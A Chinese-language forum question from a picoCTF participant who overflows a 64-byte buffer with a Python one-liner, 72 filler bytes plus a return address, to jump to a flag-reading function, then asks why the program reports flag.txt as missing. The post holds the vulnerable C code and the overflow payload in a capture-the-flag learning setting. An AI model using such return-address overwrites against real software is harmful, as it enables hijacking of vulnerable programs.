函数说当前目录中的文件不存在,即使存在

时间:2019-10-03 22:02:54

标签: 64-bit overflow

对于picoCTF,我必须通过溢出缓冲区并将返回地址更改为将读取文件的函数来读取受限制的.txt文件。我已经做到了,但是当它运行时,它说“当前目录中缺少'flag.txt'!”

我尝试了其他方法来获得相同的结果,但是由于我不太擅长汇编,所以遇到了问题。

以下是有关vuln文件中flag.txt的部分:

define BUFFSIZE 64
define FLAGSIZE 64
void flag() {
    char buf[FLAGSIZE];
    FILE *f = fopen("flag.txt","r");
    if (f == NULL) {
        printf("'flag.txt' missing in the current directory!\n");
        exit(0);
    }
}

我的过程:

$ ls

flag.txt vuln vuln.c

$ python -c“打印'a'* 72 +'\ x8b \ x07 \ x40'” | ./vuln

'flag.txt' missing in the current directory!

我希望打印该文本文件,但是它声称它不存在。

0 个答案:

没有答案